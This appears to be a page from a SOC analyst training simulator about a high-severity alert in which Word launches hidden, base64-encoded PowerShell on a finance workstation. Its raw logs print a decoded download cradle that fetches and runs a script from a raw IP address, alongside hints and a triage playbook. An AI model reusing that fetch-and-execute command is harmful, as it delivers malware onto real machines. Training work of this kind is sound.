Skip to main content
Tier One
High

Encoded PowerShell download cradle on a finance workstation

A-1049

00:00time on this alert, target 10 minutes

Back to queue

Alert details

Source
EDR
Detection rule
EDR-PS-ENCODED-011
Affected user
j.rivera
Affected host
WKS-FINANCE-14
Source IP
91.203.5.88
First seen
2026-07-24T14:38:00Z

Why this fired, in plain English

PowerShell was started with hidden, scrambled instructions — a common way to hide what a script is really doing.

Suggested playbook

Suspicious PowerShell execution

  1. 1. Decode any base64 in the command line and read the actual script.
  2. 2. Check the parent process. ccmexec.exe or services.exe is usually management; WINWORD.EXE is not.
  3. 3. Check whether the script file is signed, and by whom.
  4. 4. Look for outbound connections made by powershell.exe and whether they were blocked.
Open the full checklist

Raw log evidence

Exactly what the tools recorded — 3 events.

  1. Guided hint: this line matters

    ts=2026-07-24T14:37:51Z host=WKS-FINANCE-14 EventID=4688 process_name="powershell.exe" parent_process="WINWORD.EXE" user="j.rivera" cmdline="powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAA..."

    Word should never launch PowerShell. -w hidden hides the window and -enc means the command is base64-scrambled.

  2. Guided hint: this line matters

    ts=2026-07-24T14:37:52Z host=WKS-FINANCE-14 sensor=edr event=script_block_decoded content="IEX(New-Object Net.WebClient).DownloadString('http://91.203.5.88/a.ps1')"

    Decoded, it downloads a script from a raw IP address and runs it straight in memory.

  3. Guided hint: this line matters

    ts=2026-07-24T14:37:54Z host=WKS-FINANCE-14 sensor=edr event=network_connect dest_ip=91.203.5.88 dest_port=80 process="powershell.exe" bytes_in=0 result=blocked_by_proxy

    The download was blocked, so the second-stage payload never arrived.

Related events

The order things happened in.

  1. 14:37Z

    Word spawns hidden PowerShell

  2. 14:37Z

    Download cradle decoded

  3. 14:37Z

    Outbound fetch blocked by proxy

Enrichment lookups

Mock lookups. Run each one yourself — a real analyst never guesses what a lookup would have said. There is no "run everything" button on purpose.

0 of 4 lookups checked

  • Not checked yet.

  • Not checked yet.

  • Not checked yet.

  • Not checked yet.

techniques

Your verdict

Keyboard shortcuts 1–4, or click. You can always change your mind afterwards.